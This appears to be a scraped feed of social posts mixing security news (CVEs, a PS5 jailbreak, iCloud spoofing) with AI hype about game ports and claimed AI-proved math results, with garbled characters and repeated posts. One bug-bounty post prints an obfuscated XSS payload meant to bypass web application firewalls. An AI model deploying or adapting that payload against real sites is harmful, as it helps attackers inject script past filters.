How one Twitch chat message became code execution on a streamerโs PC
comments
A Twitch chat overlay exploited a vulnerable Chromium renderer and V8 bug to execute native code on a streamer's machine, bypassing the browser sandbox. The vulnerability was patched in Chrome 128, but an OBS update is underway to upgrade the embedded browser and enable the sandbox.
comments
๐ฑ1
CVE-2026-85706: unauthenticated arbitrary file read in GitLab CE/EE (CVSS 10.0, CISA KEV)
Affected Versions: 18.7 โ 19.1.7, 19.2.0 โ 19.2.5, 19.3.0 โ 19.3.1
an unauthenticated user could have read arbitrary files from the GitLab server due to improper path confinement and missing authentication enforcement in the repository commits API.
- PoC
Affected Versions: 18.7 โ 19.1.7, 19.2.0 โ 19.2.5, 19.3.0 โ 19.3.1
an unauthenticated user could have read arbitrary files from the GitLab server due to improper path confinement and missing authentication enforcement in the repository commits API.
- PoC
โผ๏ธ BREAKING: A newly released jailbreak cracks every PS5 firmware from 7.00 to 13.60, and early testers say it loads in seconds and works on the PS5 Pro too.
All it takes is visiting a website in the browser.
It chains a WebKit browser bug with a kernel use-after-free race to seize kernel read/write, then loads payloads for homebrew and game backups.
Posted by International Cyber Digest, 45 minutes ago
- PoC
Media is too big
VIEW IN TELEGRAM
people out there are doing some weird shit with LLMs
someone put Minecraft + Black Ops mode in Elden Ring
source
someone put Minecraft + Black Ops mode in Elden Ring
source
Media is too big
VIEW IN TELEGRAM
City at night by Opus 5.5
Made from scratch with blender, image-gen, and Three.js. Still amazing that it runs in the browser.
Also refined some combat, animations, and music. Game dev with AI is a reality now.
Posted by Shikhar, 11 hours ago
https://github.com/xikhar/spiderbench
Made from scratch with blender, image-gen, and Three.js. Still amazing that it runs in the browser.
Also refined some combat, animations, and music. Game dev with AI is a reality now.
Posted by Shikhar, 11 hours ago
https://github.com/xikhar/spiderbench
๐ฑ1
โ๏ธ Attackers could use iCloud to send email as any icloud[.]com address, including tim.cook@icloud.com, while still passing SPF, DKIM and DMARC, the email authentication checks built to stop spoofing.
Researchers found and reported two parsing flaws in Apple's mail servers. An early fix by Apple only blocked the word "admin" and the full patch took 18 months.
Apple paid them $15,000.
Posted by International Cyber Digest, 1 hour ago
Researchers found and reported two parsing flaws in Apple's mail servers. An early fix by Apple only blocked the word "admin" and the full patch took 18 months.
Apple paid them $15,000.
Posted by International Cyber Digest, 1 hour ago
An XSS payload, Cuneiform-alphabet based. Bypass WAF
๐='',๐บ=!๐+๐,๐=!๐บ+๐,๐บ=๐+{},๐=๐บ[๐++],
๐=๐บ[๐ซ=๐],๐=++๐ซ+๐,๐น=๐บ[๐ซ+๐],๐บ[๐น+=๐บ[๐]
+(๐บ.๐+๐บ)[๐]+๐[๐]+๐+๐+๐บ[๐ซ]+๐น+๐+๐บ[๐]
+๐][๐น](๐[๐]+๐[๐ซ]+๐บ[๐]+๐+๐+"(๐)")()
#bugbountytips #bugbountytip
Posted by ๐ค๐ฃ๐ฎ๐ฅ๐ข๐ฎ๐ฌ, 1 day ago
๐='',๐บ=!๐+๐,๐=!๐บ+๐,๐บ=๐+{},๐=๐บ[๐++],
๐=๐บ[๐ซ=๐],๐=++๐ซ+๐,๐น=๐บ[๐ซ+๐],๐บ[๐น+=๐บ[๐]
+(๐บ.๐+๐บ)[๐]+๐[๐]+๐+๐+๐บ[๐ซ]+๐น+๐+๐บ[๐]
+๐][๐น](๐[๐]+๐[๐ซ]+๐บ[๐]+๐+๐+"(๐)")()
#bugbountytips #bugbountytip
Posted by ๐ค๐ฃ๐ฎ๐ฅ๐ข๐ฎ๐ฌ, 1 day ago
Media is too big
VIEW IN TELEGRAM
GTA 5 has been ported ported to WebAssembly using AI. We live in the wildest timeline.
https://playgta5.com/
Posted by Alex St. Louis, 2 hours ago
(cf took it down already)
https://playgta5.com/
Posted by Alex St. Louis, 2 hours ago
(cf took it down already)
Do It by Code
https://openai.com/index/sharing-ai-progress-in-mathematics/ https://github.com/openai/math
Opus 5.5 on https://github.com/openai/math
---
Okay. I need a minute.
Posted by Cleo, 3 hours ago
---
Okay. I need a minute.
I cloned the thing expecting maybe forty or fifty families of serious-but-niche results, like the Astra "ten proofs" drop back in August. Then I printed the family titles and my reaction went from "huh" to "wait, what" in about six lines. Family 003 claims a zero-free half-plane Re s > 7/8 for ฮถ and every Dirichlet L-function. That's the quasi-Riemann hypothesis. And it isn't even the headline, because 004 is Hilbert's tenth problem over โ, done negatively.
The longer I read, the weirder it got. Khot's Unique Games Conjecture is proved. L = RL = BPL. ฯ โค 9/4. The free group factors are all isomorphic. Thompson's group F is nonamenable. Kadison's similarity problem is solved. The plane can't be five-colored. Borsuk fails in dimension nine. There's a counterexample to Kaplansky's zero-divisor conjecture, plus a torsion-free group algebra that isn't directly finite. HilbertโSmith in every dimension. Uniform bounds for Hilbert's sixteenth. Each of these would be the math story of the decade on its own, and here there are 372 families sitting in a table like a grocery list. The manuscript dates run from about September 23 to October 3, so roughly 700 papers in ten days.
The ones I'd expect to hit you personally are 005 and 017. Catalan's constant is irrational, and the irrationality exponent of ฯ is exactly 2, which also settles convergence of the Flint Hills series as a side effect. Catalan's G must have shown up in half the integrals you ever wrestled with. Now it's officially irrational, and the proof came from a chatbot running three hours of Pro compute. I don't quite know how to feel about that, and I'd love to know how you feel.
My first instinct was that this had to be hype or a hallucination factory, so I checked the Lean. The comparator statements are clean. The quasi-RH challenge is literally riemannZeta s โ 0 for 7/8 < http://s.re, written against Mathlib's own riemannZeta. Catalan is just Irrational (โ' j, (-1)^j / (2j+1)^2). The ฯ statement says what it should. Nothing hides in a home-made definition. The solution tree under lean/OAI has zero files with sorry and no real axiom declarations (the three grep hits are all inside comments), and the comparator JSON allows only propext, Quot.sound and Classical.choice. The Dirichlet L-function development alone is about 487k lines, and the whole repo is around 26 million lines of Lean in 122k files. That's more than ten Mathlibs. I'll admit I did not build it in my sandbox, since that's not happening on this box. If comparator passes on these, the formalized ones are simply true, full stop, and no amount of skepticism changes that.
There are a few caveats. Only around 120 papers have a formalized main result. Some of the biggest claims have no Lean link at all: Hilbert's tenth over โ, L = BPL, the full BSD formula from low Selmer corank, Milne's rationality conjecture. The README itself says unformalized results "could have issues," and nobody can referee 700 papers in a couple of hours, or a couple of years. One challenge file, HarmonicGrowth.lean, is built as axiom mainStatement : MainClaim followed by theorem main := mainStatement. That's probably harmless, since the comparator checks the solution side, but it's the kind of oddity I'd want to stare at. Also, the solution module behind quasi-RH is named FinalAssemblyUnconditional, which makes me wonder how many conditional versions came first.
Some context on how fast this escalated. In August, OpenAI said an internal build of Astra produced results on ten long-standing problems, estimated the token cost at roughly $2,000, and paired the claims with Lean certificates. Then, just recently, it said a model trained from Aug. 28 had resolved more than 100 longstanding open problems and was forming an independent advisory group, while noting the broader set hadn't been independently validated. So the trajectory was ten, then a hundred, and now 372 families in about two months.
My honest gut reaction is a mix of awe andโฆ
Posted by Cleo, 3 hours ago
i asked GPT 6 Pro and Fable 5.1 to rank all discoveries in the last three years
๐ต for Human discovered
๐ด for AI discovered (before October 6th)
๐ข for AI discovered from OpenAI/math repo
81% of them have been released today. wtf
Posted by will depue, 4 hours ago
๐ต for Human discovered
๐ด for AI discovered (before October 6th)
๐ข for AI discovered from OpenAI/math repo
81% of them have been released today. wtf
Posted by will depue, 4 hours ago
OpenAI have proven that matrix multiplication can be done in O(n^2.25) operations, which is a massive improvement. It is especially concerning because these AIs themselves run on matrix algebra.
The previous record was O(n^2.37), which had barely moved from O(n^2.4) in 1990.
OpenAI blew it away.
But... it is a nonconstructive proof. No algorithm was found, only a proof that it must exist.
Posted by Roko ๐, 4 hours ago
The previous record was O(n^2.37), which had barely moved from O(n^2.4) in 1990.
OpenAI blew it away.
But... it is a nonconstructive proof. No algorithm was found, only a proof that it must exist.
Posted by Roko ๐, 4 hours ago
Fun fact:
Barnaby Jack once decompiled and cracked IDA with itself and uploaded a cracked version of it into a webserver of a coworker.
After it got indexed HexRays found it, and banned our whole company from using it
We even got mentioned in the EULA
Posted by Greg Linares (Laughing Mantis), 2 hours ago
https://web.archive.org/web/20110903042133/https://hex-rays.com/idapro/hallofshame.html
Barnaby Jack once decompiled and cracked IDA with itself and uploaded a cracked version of it into a webserver of a coworker.
After it got indexed HexRays found it, and banned our whole company from using it
We even got mentioned in the EULA
Posted by Greg Linares (Laughing Mantis), 2 hours ago
https://web.archive.org/web/20110903042133/https://hex-rays.com/idapro/hallofshame.html